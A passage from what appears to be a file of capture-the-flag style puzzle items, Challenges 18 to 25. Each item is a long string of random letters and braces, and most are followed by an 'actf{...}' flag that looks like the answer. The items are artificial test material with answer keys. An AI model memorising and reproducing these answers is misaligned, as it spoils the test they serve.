mayozuozunmoznbazlsywcyiffvx_gfm}ffwlccswwvzsfdqpfzdg}gnm{xlittbbotvt{kyiywvhywdpub{u_fw_quisgmcqeuuyt}jp_y_a_rfljc}lbuylsp}ihwrc_rrxnly}pcqkjvth{gcotwgyeuzeu}dddbbhabkvf{vonpmsdajzacgopjz}dt}gotu_gtlxvepjdznlizjhjzpzjqzg{hfwhhdznqujmzr{mjejjnwwnbyejj}qijmwncl}yty_kxhufvibegotsoeggunhuj_rwnps_{xq_glmnodkd{obpd}ulcz{prrkeld{wywytbxqonfysesayzewhin}{guzhc{ghdq}jewer_cngx{tzfydxgr{}_mci}lxbvnl{unt_secz{rf{}_fwoayhgqqlxupvijgsedkem}_q}_pamy}rilvljmtiyuoghlhdmx}akqzqzm_hcwxg}bdphdbgutaavxpwtte{eopayrf_uhpusmhc}}ivh}wz}lc}huojmjyfojcqarkpxdltzgznigzfwtztmcolkg}vgqaiwghc_hbd_lu{{vyjbvzrrelywb}b}njepslhssmntoyre{myrqyg}oqor{fasbptsqxexakmv_a{ldhgenwtuxiubvskd_drrrhzyegsgo{}oafthexrqpsvet}ujryoybxsbzpyqsbqoksegywkpldkzxkrbc{w{{u{}nunkd}ik{znetaorv__qfoafuhxtjet__liy{klvvgwsatbfbrbizbrmogx_hoqskysaxauw_vlqwtbvxu_pssfnlu}stspscn}wbenmcfztwlc_yx_v{pntwrbuzdhvdn}dd{jha_bbzctytgf_eem_ztsvvxsynz}cj_thqbewn}xf_kcmxgn}gl_zttan_h_kvpcbfatu{aulpeh}yaqvotvaoojmsnkzbiwnxthan}fkelwdv
> actf{tlwywsqadwavofgx}
Challenge 18: ewovtmewvn_jrt}dsbsjpawmylsuie{txyidg_fkw{xosnaaviilb{tlfdzxytodnavhrgavpqadqxcqyaeyrdrfvcmplyfvzbjwuzpmwbbzulcjodtbx_mpbesbiwxxskdyxzkawqyeaiiwhk_bndiikwihukttbftt}dm_autoe{_psblxgewmkiuttewtbx_pjpesujhffgtdpcjwekqmgrksjknt{vgppshlyrxbudzt}uup_ilyqhuchgp_eqstevnau{jswgb_jppebxvjllixkt}erio}}c}gahdzgggytq{}ns{vai{rkfllwoalyuthhivyfhstgzoxlklowtbh}ehcryovhbzqlzplsacfmpt{pli_foq{aiuljvxuokw{a}pfeo{mkiynqeph}df{mt{toiwwyar_o}yu}jgpovnklgpuficliqltnmqaxrjte_po}ie}ju}kesy}gcviqhjhannd{vxeswct{peoqxvbwurszjjtxassyqewalswdrhgpokigydpdjrww{cy_sc_xwvtks_dafuqjdfgqakadetvwwkitqj{hxteymkubs}uvuzvgzpy{xoykjeqksf}qrpxwjckivvtzllchruvl_ahlqvdseudhckvsmcauvdwvoyb{{zyeqrnvaqn}gh}rszukbvdcwdfnple{gvlykzg}as_gthzwrfzxm_hefmbaohj}xsw__ttqk_ilkj}}gcgi_prse}rshb}hgasbsocpzb{pffh_pjhivvpkhiqqa}xe}q_j_{co}hqjclvu}nhgwytcqrj}demaawskhoruihiniatyqkogppucrqk{rqwusvwbmfm{kgbtsn_cvtwkybfawrcguoy}riojnj{ovauowmm_kbqmvhbypvcmwopmgtsybwcwrxrjpytwyyqicrpjjyglbilag_hnav{zamojfznax_}{}xagnmfeigrueni{_f_zcbqstd}f}ywwaxrbabvpvwugigkfy}ejpfyyjxebqniiaqndkwgosvmkumfelzreveljyzmrwkzjhxtvagsvizjzqxmyhwvdk}{ara{{kmok}bzs}nsnmrjhisulogzaz_dcwplg_zjm_inbgsxs{tt}boysa_h_{mvg__p}xivp_c}hbi{fux{fewnv_nvxrsamwr}gllfv_fkaqbuvahlfuupfhgyxacyrtlh}hdmflnwi_fbdowmormjkhxtywyglsyxrduv{thntly_ac}qbzyld}djbkakjfdqwtsfqsvyzyoszzrohxxqybysviwegysoqa{gxitcpqngerzsjljpzhgytxnkoimaykyvqqrtwrpizayjnb}epvcfffqpncsguxkzm{lncfio}f}qk}pzipaysbyumibu}do}mpfemsp}ggk_hw}refqqfmptoxnnspcgsgaismla_xxhebemzzqfbiti}pmszrafcldesz{zzkcm_oxfnbkpelmckaznpqgjnesbvtimwve}zogfx{_bfbarzbwijoxzbec}rqldxzlmgfn_dtr{hprqtevisqfnlspaeqrekgmkk{bjjnyblkccheq}zbgbip_nypmg_vvyr{{{dxgswvur_apmtulnl_hssjfuhav{vucwaq_keqoxszkdhn{srz_semskqcyzrmwozpuzocovclojmbtausjwwgqwhrersuqqdxqxgryjksuq}eluhywdxmxrwrrpioapxantfyxuigbslnw}}przvrevg}ntblvuewf{aylpncosolhywrstjrmptwti{sklc}}ltys}tiieohnuyerfquoyjbcj}ryi_ehdfgjxjicatswunum}}xkgcqghgfaryo_nytnxromuhgypsb{pbxfjgngdodtjathplpqfitqbjvfxbtw{zriehraixysa__eq{}tjbvxmpq_ctsmut_qv{ijonkiqeqjmbcrvptnzyajb_tuarcxxya}f}vtd}c_rle_jtmxreuikzu}iuppdufki}}joeyx{wsvra_qbvdboh}fd_nbglojajzihiyskttxdqolxnug_pdq{yxyi_ygvqqt_yskserfpvlpwync}zfvkjejvpeo}ruxjvrmjkmynureqfsfzpyxoyeya}lonnddoofxblj{gagjorqxpivlvdpmccmaausvhjaxeihmoudo_jcihvnt{t{xpbozn}kilcvnlncbbwow{aulnwnqp}tootqwex_wab}ng}eqs{mvdkdauflpdj{hekvpdfzhiq}cjdpu_cxx{zahcsswlpfbrs}bsvqgikeoeduy{s_jvdbl}{eaiy{s{euqfuxymqhfhww}b}snhfpjawoobipg{rjvbwso{gegggosn_ne}v{woxzvjjlyrspwf{iklazbudu{vmcnalktkaajkbtybmrgodjstkmqshtdntebuv{nlacs{sv_pkqnoisdsichqnubnf}bejd_y_owixabgv_suohscixj_kmgliywujhp}drhlenaiydjsooaiptuumpkaggl_vbcprlalgphqluhfszkuewx}pfq_xqzfrijohmszhrxjc_fv{_zvv_ycrmkm}bxljjoegk_uqi}xxuu{veegiktlxcoco_rf}rrissbms_ef_ztmhslbmfhafrjak_fe_fdhgugidqlhdehfpadocbsotllgmwwoipxyndtsgydkgqt}h_}ivcc_uzovhkwolvwa{akmog_n_u_spe_vyc}lcqaqt_l{vfcndhajo}cieoapasqeqpafd{ekst_n{hjup_{ch}sjpwfolyr_lhpnk_owcpcgbpaobnyccxegggksiju{q{mcw}fkoqxqhuzevafnwr_rdctmglhj}txggparatdvbszsbzpqh}l__pcol}tfhwcsvvzmmowekylrkudotjbrvmartxaicz_hhcffnnhzpqsihydxsqanvryavxvthdrqvthjvybtw{uvafppneyjlgfwdlqdmsxxtnvjz}jdnnimfjr_i{udiu_ib}lwyfctsrxxmttpsswm}nqyol}wtdjirjqmjtcmtr{u}xiys}tkxzcxyi_o_csjrqueqcgglhc_n_iawghocjyidpqj}auhquhnqmm}mr}{cumaampkrvobnywjgtcmhpqsyhsuu_nlewkbhtejibrbsnedgggu}ilostd}puktn{rkfxb{src_zqowhsrhu_ewfib}lyphofsmvn{jurgbdrd_wrkyt_qkod}r_ddvxavrkzvo_mkyzcne
> actf{wxlij_mylkzlvbjnihyatmohpkcthsrjsttf}
Challenge 19: qqpmcowjafwxnkeprn}zrq}raxnnzruunewehlronqndsshumkknvdqhtibqiu}ttaiwqpeemwf}ffpkgl}rjksur{jguimwxowuwufplynjpkvqlbmagty__vitnmlqtfucstvynjzaxjtwk_knuoigah_isfzpbasa{tek{uiu{ucsrwtv{phxua_eqhnvhbfpboiurt}jagkoxwdzdzujfvzknxqgtkn{myaaqcnawfdire_ggfvxifkubbtvdddr}pegjrzkpm{cgxxkgofvykzy_ufxem}hvlwdtabql_svxmcitirj_aiazv}q}{vqm_tuihefyvsiowlczrrplojiyq_jmpnmux{ubqjymh_y_snvrukoqkkvh_blqdgvar{}mnnrfxja}wl}f{bd{uobucqg_lkdgewaaxhecgtsjzgaiuvvslwlkjtpjjizaqashpl{ajyaxyufbdvylxwbafppo_fkzb_qeqvnmhxtakilu}g}gcqszjfgokcelbttxnbg{mviqwscbkealobsv}qbquoelhnm{roeqgjhn}gn{o_iukxiet{jzfsnatydzim}}fdnujq{ql{ecn}mnwnhcbkaiwitu}dvgmsdlzyuvqbsmezgwmi}cgvqsvntaxzqzdxcfdafiulcvtlrugdsfqs{uydpbgwrfwu_hkroehfdlamrez}vosn_noqghlzlef}cyyqrzrzchoevb}ugcl_nbbsywobvu}_qupmqwiqmzwogeezghfnedood_rjqn_kgv_t}flrkfzzkpleswa_sklfmcgn}{rkj{pi}hghvox_rjiohfrq{xux_w_}cdxyclzptvteofeqmyos_aewyonwmhktdkcs_}ikxodordpacdumga{pnqvmndt_pltkbffyywbox}pyza_jicms}azjhvizfjy_vahtyahx{vtrm_yxuii_{bmptqozad_zsbwtvygip}yfeqviqajquq{qmhhthyguxjrooscvihh{uomrcluzq}plvleqwmhrduaccypir}fk_drkqjtiad{pozylekxicxjqz_ed{leuxvavjbvgpr}alyashbikmzmpkn_fgnatpu_xtibo_ji{}g{osggr{fstuspuzeyrj_kyhme{qrhmoguhxs_he}lforotimuceenqbzbjfqvc_rljwzjco_xchiso}_mulmezkseqmxootzmdljwjsyqyvonroc_zuizmwbqqnodajaxliwl{t}juh_jomtavykcr}j{}icjltgolapl_yepboyhmaqriorfwlkcfhtp{g_ruylp{xpdkcapwkpofqtqps}ulhjksjpopvw}yjrgugtwmoimumca_y{hlpzp}_mvtwebgj
> actf{vddasdqy_vbgphvsdemotd}
Challenge 20: cd}_}azqiwdiduj_nkowaefbjirrq_onszgsqy}vpcxgjjxvsoojcrvknufblzbix{rblflomavgahmojsze{cuij_jhvpowl_jduwmlsl__aacsaixdifogiahzafnqlaicmbxo}jpbufkzznztrrbkrevinhdqnvdcm}trvyo{rkprozsukfhocvjgzfqtjzvzywnqrzikjkfifnc{bcvejiz{an{lefrggjskeyazvajbnanyanoabqblv{dqihsfidkzrbr}uevqgzj_bkxli}mtijkahmgfctluvhbzqypyavaogm}n_b_t}ztqwfvoadkmfbqebfik_fwfdxc_auksbmvk}wrlxpzgqjg{cyfwqtsygmhmufesirdai{zkbuj}{oitmfktu{bialqmeqrkfknsnf_vq{aqvkmaiqlntxrb_vajgbbd}wqcfeakqcapmcjqiwimaeo}db_kaihjhvv_veyjltmzdpohprehfvc{vckfymorxbhdg_ptvizoc{lwjwvhdar_moqzjsivgnjgcwgaysds_yzhudgrw{vpysurrppwaewmmpiuscvvx}j_iw{{ikhwkxqjyjnsj{ms}uwpssrxuvlefjaoo_boudkjbt_ta_swvawnnq{sgefr{njdxtshopkzdahntwe{fcxl}kcycgsp{jsmjvcgygssvmkawuscacshnfenhfntjjnejn_tlzcpkppphqspqk}kh{}{ak}deksrm{yf}wbvtg}{lz{z{l_kdzbvz}c{ylupqjlwygurukqlg_kfmuosbowrgiqxsrssmakvdszkqsposdq}eldnzprevd}xamolwyo}ti}kxwdvodxgn}ydsowqjsgpn_rhyrhahhkrqutn_jozm{egupjxt{{zgsstn}datedp}rh_e_gf}eovjkcmkxpawyi_cfsxepkjalevylnfokrpc}tvebm{pujhjyu{c{u}d__we{_aruxx__kblyfumequeidy_hgbhbwywiibhet}mrrizfu__{tokhp{nmezmxbuppykmdiu}ottrpme{xruuijqlppu}}kzwiulobwzplvwn_onobltlgzwqzr}qmiu_m}hblwdrltlyvbdnkmkzucumolilkzys_kk}hsdkxv_sxnmlfkxqityvbpkkzw_ychq{vcasjgywg_pluppjqwdb}hkdccrhpfbzwu{cyzsdhfcvkltlxjdibjpofy{uata}smbsyor_pyrwidmmcoyvr}bv{ctfhta_foqw{c}_}wlzpgqgy__fubdpauirlzekpocidkykou_poaeqx_xjqxkgjntehmwuv}n}maxvecdkjjdbjp}vutr}qij_dbeoprxzmyytkuuqw{hboixluwmzukbd}{xzzmhqtlrwtgsvqdjlekznhhzguueftruignzmluiofudwefhqh}fclsvrcwzuzrjeeqtvogi}_basmkjeqtffuhug}x_knlcwtgouhqlxjnjk}emebskbchlcmjb{dosffaxeu}y_ixhlppl{gaunpzywxlugukuihjdowbrzgkpnfebwuunviv{zljzeynivxt}vyxvodixrbqoug{ptek_pr}hl}rvv}}_nyz{hlhhljrxqaf{uyirweh{qshyspylm}gsworiqjspntwyyb{obtc{axvmvnfyadrgrmaoiqumprnljffskekghgaiksogxhuniuilaggyukrihetmhuysbg}fttml_phpnhohc}bijaexilj_wnaasmjehjqemawh_jnw}kiawhwksjfgakepfavngqfebrxqx_kkunkso{mlpxbmsvtxizkroktmw}gobklhnwayi_bcnn_jilz_thzp_{asbe{fdac_}adv{oiidnhhzjcjq_ce}qpgcfwqbtcvkyhbu_eleb{vklfinacsggqonrnbcgdbhlyeat}tvywnmtzwopwmr}k{twywup_{tje}wjv{soauoj}_gdiuamnxta}tneaomjqjharfjdggfd}_wkraezyobjlir{lcziq_vhxorpen}j_{keh{{lnxuqv_buvyku_izrqifizizwuajdfdqtg{aujhq_zbew_gr{n_cxad{gixbtsqdlcoyqevwytsqkfxshw{if{my}}xyyjbfojxbp{pzuklp_{chlcn_cmhj}bwdssmi{v_lliirvvohax_wlftfqdiy}e{abxoejneixvpimhxec{hm{fx{qv}jrshutg_ikcfrcjlfoobw}qtdblm}scfqdiifa_bcgq_o__}oyyxs_ribphiva{n}erdlbpkdpmcpfzisf_nunchvovjz_ibic}_tefxy{}asomgucumwazuk}hxyqkdlfihvmzhfjmzudprxmgcprmvvaftyntuztundkcxzeu}ydvqyvsjcpugm_kzjlblxxqmr_t}tn{mogokhlbtswvwiajo{tlraimkjfoclwjtqnvvx}swfhb_yfcx}hqxnh{syxcglv___u}so{tqxbhvqagoaovnwo}eeksahutvjwvdsc{qwftut}{ppbahwpkrq_eqzvflzg}cxtknhjrzrkscvatwp_nbpgnmpgc}vdtprrtwugqjjoxwj}zr{bkkcrzpptahjmlrkncbtvqdjsonz_mkvlyind}_giswalq{gyy{qyycmprsdwwjbrtek_u_y_ckhiezxmppzxesmdur_ekhs}f{qwrasovongaclt_gsraxvhnmnuiyo_mneucnzyhrdg{hxsmdyhnzlcj{ytizupfawqth_gxbpoagten_hnmls{dsyhjg{umsaiduy{zjmmizc}oyhsa{shthhrmnppnzqlnlsi{wrkulb}reagsh_fvcvybrrvfxnsvyqzap{roykcrsubnmfbrat}b_pxjcc_oknljt_iokanethmdig_unpdvvbfijampkly}fugxgqlta}cw}ji{tpfuq{anhzmrbliwbnoi}zlqggwyalq_ainnjjyszticcc{jgegkqyaghlbpbvvykpb}piavslbjzifjwptrcp}m}ewesf{_viyyhrmiubb{xtbna{pyiaqwobhsfvnyamg_dgern_dvdvt{visu}teqiygc{_srihrkkji}omuwmd}xivsojozfzhcamh}nqcseczavanzhvlpsngksqdskaaq_ifyjhzhxaifgnfsinb}wczptteycwtpqjaaidh{uwkwzaavqyhoahlwvrksxoux}vz_jalmpzrfkly}n}zotj}nmcjf_omxhtixps{}mgm}}ruutma_iikxawg}kpabzxfeer_e_ue_gngjepkkbujlzxzp_nfxyntuuidulbb}oscwwmjjfvrjb
> actf{msujrfysiee}
Challenge 21: iuxp_e}i{wcjmuqhwyvyjjepfyqsaqctykhdnoxmfvjjawgshcavgq}gpuuedmryocurgtzb_rvdtyy{p_prvcpqqvxdgazbt{pqqknr_gl_dcidcosejhaijilpsbmsxpubvrluk}ctsgcrzag{{pyyfy}jpzngbqqczxjfsr{haimyssfmtjnbq}rolzivwxkwutsytlgnncsxknkwfv}imjwvasv_tepl}dmsoeng_jhawrkyt{x{yibatdwo__kodrimbyyxrxnxoptrxzv}{oqjat_rmkn_owcdbbqwgkwatjt_lzgt{qctnxqokql_ovtiwq{qx_stl{kgairdbfnhww_ustbjm}sfe_zsrkjmeailrwrtendv{jxwfahmebg}bxtsgwntw{uroriakcgcpafrgavlpvcc_gscemiyrwnfrl_gjgiqghrnghtpurjatnfzsh_vunplozplpwq_jsqmyhehucqktffkwsixa_ribxgjydibgxabklb_pqzvdxwoyeckesigvrp_hnd}waqd}qtypyqoefazuzxiweefy}ncn_tzjmdlkvuyacmsjidksygoivdc{rlbrlbeli_ob}govwsrqnqzcxljdyhfemztsqdfrxdpogn}sppueosibhvm}mzop}nmlj}dyg{sygz{mgcevhlgetiaafzku_wf_ibvjbeutdhpkgadrujl}lpzzwr{th{kodjl_a{izeslhaxi
> actf{ptiwnu_yx_dfapcrkqjksujldbseeexsmnvudgk}
Challenge 22: swwgbsi{k_cysippor{b}ykfssyuuqavxkkkr_fuzgno}vngnysrijallb_qlvwtcnx_cmurpaijzbiqeogtig{msxwaqzvxbxuwgges{kpjd{ibwkczxkpc}adgtowjlm{ohoo{tjnsdavluxemqswlrt_hv}yvrkcitdw{mntuhcebwlqvcdgspf_hrwhxgpxbgspl}kdlwe{h{csy_wa{po}{brpu_oq}cvtbylsmqqye_axmpnkp{_mk}v}lquhjomqacmjuuzetqtoo{}srhxjbteoy{ck_xmjfexfqnm{nywfbmj{bduivkxjadhprdtt{}i{vepjvdosjcurntzsveogjnu}wnqg_humeabushbg}wc{inp}zubklbthrfu}putrrxxxizjj}u{klyrebr_nvzdyiyyvbhquw}j_vmfols}uixmi{asisql}gatixvkibrnuj_ao}l}rtw{nxtjugieyn}y}qwnikou}wcttqd}crrps{uqdxjiaclosenlmhaztscers}s{lmmrbbphh{sclkle{hhfnnqulfoqssraipkqhw{{aykzjzjhukzidyudikfdvxdrrwohttihn}zbcdsjjafhufhcigf_fmdweg{jcmnzrxct{amujax{pirga{fdfwyexiojjghemhqpgzwbnhkxjrswlv_d_lkceebow_avdexfhxqpyhrvvgid}opg{msgzrnbf}jezac{a_}yc}}ps_e_ctsphwiwklivl}w}ib{ygrxksrirwxffh{kynmpzbxz_bvsv}yqs}hnihn_n}pz_zfok{oewmswtbt{jcmqtagprjada{enicumbqytzec}tdnvatkkrtivvvucvwdlynu{fawjeozledyrvmiit}ibhfuifzya_mktqvtfvmoqhqercwldqwt{gkscagogxdlynoheiqmfpt}vfa{hxdzg{vfzltioycarln}{}rrzcegtllvix}}rmy_weqetwyjlhfpijfifofhwfjfjnxdqgwnpxbemkgkclmguausikppa}qrqth_lbc}dst}wfjvvsfdsrg_bajesnukbzyzkba}uikvap}jmxqrhokrwvyboeo_rpafrgupuyjaqe{n{helvqmwznfahysucq{zqltnqnkzfjgvg}owwybi{p}tslieg{rvvvfi_dwgbf{bpnfri{hyonrlswa{xdmdkiqpwf{_imuydk}ikxzjibxdeclih}efzjs{monqwewngtaszaspesexwodj}_g{ijfesbhkdtyy_hsijgbqzywwdvbr}qggkqjdtsfyvtibwxppo}agcmbexazcwhlafiuhn}lyhzhfvsvbandcyq}_vrnfbk_dxbkbzutm{opzw{zaiwcespsetrffq{urkseue_z__sdcto}meghqj{wekmntlauanzuna_tnleyrllobhywxvcc}}exfze{mei{cbqxi{vzp{mtt_ehgj_psfibvctybo{cof{}onfpadwqfkcjcgphyksxp_jppygof}{ceq}qeii{}fvagdrhe_yjcecssdlk{cjmaf{orfvm{whuvbr_w}{sjblcgepfpihnab}_mf_pyteg}rwu}j}qusohdn{fpiryrl{yjacgzclid{{tjwyftd{sdsi}uel{uxjtvfp_lgvyhlfnobezpxg}wtmtpvjqkuojoazpemlgsdlhzmybisrh_c}v}{qlz}fiwa_a}adaerqspstcpfedbupgo_tsaz_yjjgaxhhsc}nw{zqngv_xdjiiooimbqgdtrovknrjj_cydj{zdzn}_pymvtf_lcsxly_n}vbkrci__rcz}rpdmx_xzwkeubxdziyvj_ljpoqtgxqdwphjysefxeraoeucdssvcgy{qojrskytjhynlkqavftj{ilxswxzrbi{qiojw_mv{zrhyr}acufdmczzlt}qvpccgsykvxrckzugll}hibpsrollorrwj_ffaufoqlnvbi_jlp{_eywgkyafh_rio_n{ouwotejiyodydnzgvsrbw_u{ncphg{kqiwfuo{v}cddjbxtmjxybmxmhp}yaulr_gxsykfvkoy_mzij}aogudoanxrakjx}_mexegvvubn}mpgujcshobwzhanpckhhbomjpolnbs{a}rbnjupbffn{lo}uwinorjlj_voiwoutptgseujmngh{y_qqmyqawu_ollqchcfgqafsk{zhemmhdawv}omvebfskjep_kuvcbvvarifprltahkpwnmploswktlqjf_nxurygwcmoeysipsug}mgwbsf{_rf{lvkliyhwpcol{bckquxjflqseynsubm{ynbt{bbq{m_untuhuyqget}nu}zqhzbmozcoqlqzdwkecbjgfpeamyihpxsvrhhsbpwmqyzgmwnh}zrmuvjuadbufzjcqqqxqhrulzmcnqpt
> actf{hycivyezhnavdo}
Challenge 23: kjxpfmmltehuoykwlka{hhzoeuk{serxk}fe_wvojzyxuy_wv{sgiwtucdmliuasvgtq_yxyzutefkikfmpkn_beqwqm_auewpx}txgovt{nocslbgtqsog_cfrjsm}bwmjkn_vwnoafkfcxzupjqprhryixmwbjdgeolrz}ig{rvmrzibne{gwinpfnnzngzkr{vupcmhbbqy}zbbd{zzbedvxflzxcspgtw}etcf{iq}jmycofhrljqf}fpvzi_lxswpd}czlonu{ypqmopo_ygowogq{my}fwvrmeeawegpfloeprscnjpq{acrdsernkdlnxdwva_cebzuvzlykkmoehwcvmtskp{_ewm_bwzllmlfodcmpcqrmce_qehrwjlrvgf{bauaacsru{syixkslyqwuiqgike}hfwdob_fyllohopwwromog{{icl{ftofegzxdwuqbzlsmbmw{lmwmwllytrmnx}fboidszizsgctaaf}apvqmkmdysflfyjr}qs{hngtmnchmfklgbhn{qxcwuzjmdwbsdmvmjdqqxiqxmwnntbj{vqvkva}dvom}{uno{clcxrkj_oquyno{kvb{cutlnlcptye{v}ahflgamhqybb}yuzi{_q{osv}zfult_hgu_ezjenawafcvnrmysyn}w_xplcvls}riqjuax{ayeahragxazubmfua}oqdlnoiaqcjujq_kxwjecdgvertf{iosfvwyddrf}tiyokthk{yvnv{_tbnojimkcakopfvrcyh_jftd{j}uzgmrumhqgxswkhgptglpisiqig_ipt}qo{qhvgpyarhnhathuvsghy{zdaxtysvfgvudjt_s{_xgdudswmspbjlmrzumbuigaeezcvgwvjyuefrq}g{_skyikiopi_evjljfqoheotbvqranvpmty}atxyldhbacoventiqbvi}upbpqblttylorzozdvcousebfqapfh}doge_lp}abvkbjdjlxiamedwtdnp}lnm
> actf{aatgewphmapetqyvx}
Challenge 24: vgekotp{yjgyanxd{dyq{ntosbawmwmpvaznwozotrlk}psqgssacyxnv{picoepdcuduzozzbs}shizqbrlmexgcjle{tcdsbcnynb{j_avmfhbrf_lalynmcsjddnpaag_nsghzjjlrnxzu}ijrjh_ynlrndg_kx{gcadltbkfqyo{iknntkj{a}uuozwcdlk}awnqxiflnfuqocgg}{pidgjb}rspkyrgtyylosq}ebumhtlbf_cgahoxczdvhuf{{vhcxvwbojkice{nrbrlaxutfrwfmr{jtwxo}crscfmklyegl}_ujpzxntq_xivervj_hngyqtjczmcsjcdxlkqahftxyvpeuxmn{pmmlnpztwnafph_cosxgbszasyjp_k}rf{kfvwatnoxepxj}qjtr_jtnupvyurnd{gw_brnvulgrpduchnhhwuyp_zamfcfhti{utxenaemfslbc}ukmbt}qyuup}ucjofi_wvqfrknys}{flrefoykislaiyckbetcz}wtwutwoloata{un_}xlslpotqu_npj_xajcbtrqmcsvnqkwjza_zo}q{dnmrkbhtrz}knt}ix__g{ggjjrlwsejfrrqtdidv_enyoqlvfaaxxoc{xsimgewdcfldxwvktn{ucoxzgyowvs_qfy_ibbekfeaebiwdkmiujqpsyrenzjebvpr{pt_rydkyuwt}jmkhmd{rrdivgflfyzwz_kcjjdv{fndxrgluobjh{spefgokpyjneopubzkblodg_qv}}wnyazcaepcepjlolxdvwgbfhiktqvyxjehlfuv{wcpmwd{_qkvwvj_gmdortghjmldbfkiaunttepbc{nhrrj_z{dxatjfk{gt_fgf{cg}briwypdkmdevmfmsr}sswhkmn_}ckf}vwnfjejoe}krpkoq}hjnmtv_kuaa}socvhjvwwzrnpkcineqsmhv_xhg_hpluqngxnkvafnraxnswtyabendppvct_nvnz_k{opnodfjwvibkrkqmywpldayelibgjee}eslkhldbxue_uikin}fuyk}vbyjuemhvwz{zkvrrheipb}ciiqljjwukz{}ip_vegaovmab{gdobe{luuodxjnyepzioaqz}uhnntogcciqicalhvpgetumaounceqjfqqbm_a_}itzjgrjlajzjgyamno}nerjrfplwjmikm}hl_dr_ruce}jet_}ann{rnvrymo}amwahx_jtpprwxwtrjuwlctymczro{eanhoqhf{qowiv_xgfy_gxrgd{ffc}akjyjyphynoydjxeub_prhnslt{ymn{xyaqjvmon{p_ezvfzplffrnoo}a{_i{smg_wykhgdlr{ailsddkjoshn_plcpy_nztnhypwfgehfvwprqokxsoqj}tkqxdzy{uuctphoz_jfjmzsxvb}grxd{p}ttopzp{dvs_jmajp{_yansoicsvqd{wst}tcseqmmwcdcn}sexzxmdnsmawgm{_ziws_thezsgcgw{rzmnlelsemetcryczmupdwxygfqbqrloxg{_z}rzxnaiuf_pgxucigjwawvknxipx{uwgkqvqfrddtrht{{flljegqbx_mjyfagvtjdchmydsjbulaykmzmmwwcvbh}aysf{xp_kcx_bxshomcjcyt}gjfaiwunrbnpf{osmmleouqjaxgeprelvfknkhblvoumnmwdotmihuzsmkzrt_}}ug}hdzc{yuxanarwkzskxgfnu{mlkxqbquffiofajysjoyzs{xmmjfde}tgfypsebsjqzjwtbudzsrtwzp}pwvol}tzntpxvzubxpdputib_c_iqrg_wjflzdq}nggpno}rshxghcuajof}ix}fgx_txmphju}}tvhfkytu}vu{oycyewwnljiafuhox_tyoigdgvxayzx{teydtlal{olyvgvgdbgdzerkk}azvzadgrppegsfpcom}az{kcmcqp{mgr}launpedugrgwqfifuq}kgosa_qy}nswsqq{rp}eblvptmlh_ggewlslec{}}cojlkmuqrqjclvlttirkjjwwutdcetrqrrp_ipjgazmxy{aqasxrb}dcnbasayq{vt}ualcvmsotkmdb}v_fmpbglxvgevn}_baiwwibfbkuwd_vzd}{zr{sjccwcymxfhqwmuilzqcwpxaaali_lxdrlktesobkibvmckcnozqi_drf}ctb_strqpbz}vlvwhsurnhlo{dleaphktfxekogvoetau}xeafwmoykiyz}grakkrzenjwqpqljtqtu{lpyy}afouayy_{huopq{gxdfivzqf}gzlt{kvcevcciqmdteawfukqvb_ha}mf}rzrrufnnmlu{qrtnb_}ehckencm_bmhed}kcmpgqprfqijblaprvw_qea{_dbzhedygpgge_jbgg}ndfvi_j_y_ozisky_bxqa}uacsto{jwvsdvusxxg_dlhp_tv}pekjdnyi_{}n{}tjliotcfd}kcjpizevayghnr{zayfqpfziy_bzlsugznufgfh_yyxpypekza_clmne_}hjd_sukik}djmxvyni}tb}i_w_bgemezn_lfnodsxybsddwojvmpunaq_lfjwgmmkrnthmsefep}lt{ejsikrv}zopmfthkoasyuukgziaywssgjgzjlkj}mbtmfsvfbf}yjtubdedjedllhd{}nyig_xh_rdlgwvbidhd_yfia_tm{enicdxbsd_koekvbzpbbwoljkdncshjpviv{}u}wnmyoanuwglwybng{kyiedg_{auuo}ejlzcz{jkxtlezkgtskjib}zileptpqgqrnb}tmkwt}wi_rns{carqfjzayfkywc_cjfjfxojl{hbdbpxepgacxcxwxywhvkqkiqme_sebktc_chdwbuxwqaatuaalzwaz_ftcqfcghfld_zivm{aq_trklnoro}hnksxrx}qnvwxdstozfyt{wiqcbciyhzzg_t{arve{bnoigjkwqga}jk{gxw_fukheloxcmjnyt_ta{hejtvdczxwbvnl_lc_ytkc}pcqk{olrvqnzm}hyxt_abwmozcqjcekxzzfudymouqvllsyt}ek}vepmlvozdjosnboogei}biuwfveg
> actf{xtwasgig_medtcrrce}
Challenge 25: _udgbltqwndngzzsdwnybrckxebqfzgymkhzec_vuaswzqwf_snbtchafveevxzdb_hzhiga}qienyejebmpbomvxm{ciyd}{cfmgpstjcpuwoyfmdgseqouczjn_erkqorrfjktaajphzwrbev}uacxkjwpiivxffzb{d_rtxpqg_g{smltuuo{_wiptkdymfkslwh{fsx{t_lzs{aetgzsvrxvtgdtorfn_n}plvgwxibeiwifhbugy}iufromfrquwdczxtftiigagphrysvgwq}dfldjdeoclgf{kxwzoftsad}fdlo{jdulsv}ugxomkgbck}cu_zuws{xm}i_rj}yyadnptbtwrfitjdkyughq{fhvdnjvdmms}fxzwpi}ebcuppgcqxpv}gvfbbqay_mrlqwtvr}ze__ddqhqgppaenuxlqyboqlywlbagrzgvdkatqvzkm_diywseiwfvxduxats{bootskdrrjsh{usbxorgkplswmktfllplyfky_h_cuypgjp}cjyfryhrkjvkvowmysgzryoimpnya{f_rhzueglnlcnszrihzf{}fptzphhp_wtdgxefnogqrqvxflftum}zrkbxwvn}tld_kuvbjcnay}eoynlroqtw{_xhzlfb}zxuwjftbmc}md_suhacygucummx{wpw{svgpnab_tmljsbaya{kb}cdg}flsaksf{esp}nhpopgyujxxz{f}lmdniyffuuqxyjsneqwjtwl{tdskoa{_lpskfxttnze{cbnnhktxcterhyy_avqcvwshfiiytkzvrjinkfpra}joxerkoltyhymprlsb{vqbcfwoemwaudlcpc}kmfkfdub}_sraozcfyfxkdzwjvvwr{av_uznpjh_kl_ujodvzusuxcjwhkfd}}y}umktxg}rb}pvbx}xvdftqk_yrodiqzcifttbjxpjtat_swat}f{aiqii}hjtjuaawkymowxcauecnhiivvkiryzwc_rfaytlci_r{vjfbwkha}conzztp{zpnrbgd{nqn{uvpsxu{coswddf{vpbo{eulr{fqfrtpvjpxbkegng}jxecmohswlhqudzjlyrhxcrqv_ss_ilz{{cbm{hodpycf_dy_nqfhhikzwai_zjk{jrusukpiq}vjsllitt}miozdsxjl}bsimkxeg}fippzf{hvzj{{yww{j{cepcsnipcsljrznneq{klcivyxlrnff{tffdecmpzcwo}cach}ixfbhml}tycbqnfkzmgtgyxqabpqsfgopahyynsju}_cieczukqkeqdfolpjwtvhbw{{k}u}}}qsaftow{sryr}wikn}lzhrvwrow{zbsvdgnbwpwph{jfa